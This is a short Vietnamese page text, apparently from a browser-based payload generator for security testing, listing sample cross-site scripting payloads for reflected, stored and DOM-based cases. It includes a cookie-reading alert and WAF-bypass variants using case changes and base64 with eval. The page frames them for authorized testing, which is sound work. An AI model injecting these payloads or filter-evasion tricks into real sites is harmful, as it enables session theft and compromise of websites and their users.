Reflected XSS
<script>alert(document.cookie)</script>Payloads áp dụng cho dữ liệu phản hồi trực tiếp từ tham số URL/Input.
Tự động sinh payload khai thác lỗ hổng XSS, SSTI và SQL Injection phổ biến. Hỗ trợ Reflected, Stored, DOM-based XSS cùng kỹ thuật bypass WAF và Filter.
Payload chỉ dùng cho mục đích học tập và kiểm thử hợp pháp trên hệ thống bạn được cấp phép.
<script>alert(document.cookie)</script>Payloads áp dụng cho dữ liệu phản hồi trực tiếp từ tham số URL/Input.
<svg onload=alert(1)>Payloads áp dụng cho dữ liệu phản hồi trực tiếp từ tham số URL/Input.
<img src=x onerror=alert('XSS')>Payloads áp dụng cho dữ liệu phản hồi trực tiếp từ tham số URL/Input.
<body onload=alert('Stored XSS')>Payloads lưu trữ trong cơ sở dữ liệu (Comment, Profile, Form).
<iframe src="javascript:alert('XSS')"></iframe>Payloads lưu trữ trong cơ sở dữ liệu (Comment, Profile, Form).
<sCrIpT>alert(1)</sCrIpT>Sử dụng Encoding, Case Variations và HTML5 attributes để bypass WAF.
<svg/onload=eval(atob('YWxlcnQoMSk='))>Sử dụng Encoding, Case Variations và HTML5 attributes để bypass WAF.
#<img src=x onerror=alert('DOM XSS')>Ví dụ kiểm tra an toàn cho DOM XSS khi ứng dụng đưa fragment từ URL vào HTML mà không sanitize.
Chạy hoàn toàn trên trình duyệt · Không gửi dữ liệu lên máy chủ